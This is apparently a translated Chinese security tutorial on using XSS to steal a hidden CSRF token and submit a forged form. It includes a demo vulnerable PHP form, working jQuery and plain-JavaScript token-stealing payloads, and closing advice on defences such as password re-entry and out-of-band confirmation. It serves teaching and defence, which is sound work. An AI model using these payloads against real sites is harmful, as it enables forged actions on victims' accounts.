译者:興趣使然的小胃
预估稿费:130RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
一、前言
隐藏令牌是保护重要表单信息免受CSRF(Cross-Site Request Forgery,跨站请求伪造)攻击影响的一种绝佳方案,然而,只需一次简单的XSS(Cross-Site Scripting,跨站脚本)攻击,攻击者就能让这种保护屏障形同虚设。
在本文中,我会介绍使用XSS来窃取CSRF令牌的两种技术,通过已窃取的令牌提交表单,完成攻击任务。
我们的攻击对象为某个网页表单,其源码(csrf.php
)如下所示:
<!doctype html>
<html>
<head>
<title>Steal My Token</title>
</head>
<body id="body">
<?php
$h = fopen ("/tmp/csrf", "a");
fwrite ($h, print_r ($_POST, true));
if (array_key_exists ("token", $_POST) && array_key_exists ("message", $_POST)) {
if ($_POST['token'] === "secret_token") {
print "<p>Token accepted, the message passed is: " . htmlentities($_POST['message']) . "</p>";
fwrite ($h, "Token accepted, the message passed is: " . htmlentities($_POST['message']) . "n");
} else {
print "<p>Invalid token</p>";
fwrite($h, "Invalid token passedn");
}
}
fclose ($h);
?>
<form method="post" action="<?=htmlentities($_SERVER['PHP_SELF'])?>">
<input type="hidden" value="secret_token" id="token" name="token" />
<input type="text" value="" name="message" id="message" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
如你所见,上述代码中使用隐藏域(类型为“hidden”的input元素)来阻止CSRF攻击,该input元素的name及id为“token”。提交表单时,网页会检查隐藏域值,如果提交的值与预设值(“secret_token”)相匹配,则显示相应的信息(message),并将信息写入文件中。无效的令牌信息也会写入文件中,以辅助后续的调试工作。
二、使用jQuery代码
第一种方法用到了jQuery库,代码(withjQuery.js)如下所示:
function submitFormWithTokenjQuery (token) {
$.post (POST_URL, {token: token, message: "hello world"})
.done (function (data) {
console.log (data );
});
}
function getWithjQuery () {
$.ajax ({
type: "GET",
url: GET_URL,
// Put any querystring values in here, e.g.
// data: {name: 'value'},
data: {},
async: true,
dataType: "text",
success: function (data) {
// Convert the string data to an object
var $data = $(data);
// Find the token in the page
var $input = $data.find ("#token");
// This comes back as an array so check there is at least
// one element and then get the value from it
if ($input.length > 0) {
inputField = $input[0];
token = inputField.value
console.log ("The token is: " + token);
submitFormWithTokenjQuery (token);
}
},
// In case you need to handle any errors in the
// GET request
error: function (xml, error) {
console.log (error);
}
});
}
var GET_URL="/csrf.php"
var POST_URL="/csrf.php"
getWithjQuery();
代码中的注释已经足够清晰,这里再简单补充一下:
getWithjQuery函数会向包含表单令牌的目标网页发起GET请求。当网页返回响应数据时,脚本就会调用success函数。在上述代码中,函数会分解网页返回的数据,提取id为“token”的input域,从而获得我们所需的token信息。
随后,该token值被传递到submitFormWithTokenjQuery函数中,该函数会向目标网页(csrf.php)发起POST请求,请求中包含token及message数据。
在代码中,我将GET及POST的URL分开保存,因为有些时候,加载表单以及提交表单的URL并不是同一个URL。
上述代码的确非常冗长,幸运的是,jQuery压缩起来非常方便,因此上述代码可以重写为如下形式(compressedjQuery.js
):
$.get("csrf.php", function(data) {
$.post("/csrf.php", {token: $(data).find("#token")[0].value, message: "hello world"})
});
如果你在jQuery方面技艺娴熟,那么上述代码可能有更大的压缩空间,但我发现这段代码足以胜任大多数使用场景。
三、使用JavaScript代码
如果实际环境中你无法使用jQuery,那么你还可以选择使用JavaScript原生代码,如下代码(rawJS.js)功能与前文提到的jQuery代码相同,但这种方法不需要依赖任何第三方库:
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&message=CSRF%20Beaten");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="/csrf.php"
var POST_URL="/csrf.php"
getTokenJS();
getTokenJS函数使用异步XMLHttpRequest函数向GET_URL地址发起GET请求,当网页返回响应数据时,该函数就从DOM中提取出token元素。
如果input域不包含id属性,那么我们可以用其他类似的方法来替代page.getElementByID
调用,比如:
1、getElementsByClassName
2、getElementsByName
3、getElementsByTagName
这些方法返回的是对象数组,而不是单一对象,因此如果你使用了上述方法,你需要使用数组索引来访问具体元素,具体用法如下:
input = page.getElementsByTagName("input")[0]
既然我们已经得到了token数据,现在我们可以将该数据传递给submitFormWithTokenJS函数,通过异步XMLHttpRequest向POST_URL地址发起POST请求。
传递给xhr.send
的字符串为多组键值对,键值对之间使用“&”符号分隔,与查询字符串的形式相同。
如果读者感兴趣,可以进一步压缩这段JavaScript代码。
四、总结
再牢固的堡垒都可能因为一个简单的失误功亏一篑。虽然攻击者仍然需要诱导受害者访问包含XSS代码的页面,或者诱使受害者通过浏览器点击反射型XSS链接,以触发本文介绍的两种攻击场景,但是在实际环境中,想让用户执行点击动作并不是那么困难的一件事。
想要阻止这类攻击也很简单,那就是确保站点不包含XSS漏洞。如果你无法保证这一点,那么最好选择另一种令牌形式。目标网站可以选择让用户输入密码才能执行重要任务,这种处理方式效果上与使用CSRF令牌的效果相同,但会比软件生成令牌的效果要好些,因为后一种情况下,当令牌信息以某种形式发送给浏览器时,令牌信息可能会被攻击者窃取,也相当于攻击者拿到了用户的密码。XSS攻击脚本无法获取用户密码,因此也无法完成整个攻击流程。
CSRF是我们必须注意的攻击方式
另一种方法就是采用带外(out-of-band)确认机制。比如,当我发起新的支付请求时,我的银行会向我发送一条短信,我需要使用短信中的信息来确认支付操作。XSS攻击可以用来触发短信发送行为,但无法读取短信内容,因此也就无法完成攻击过程。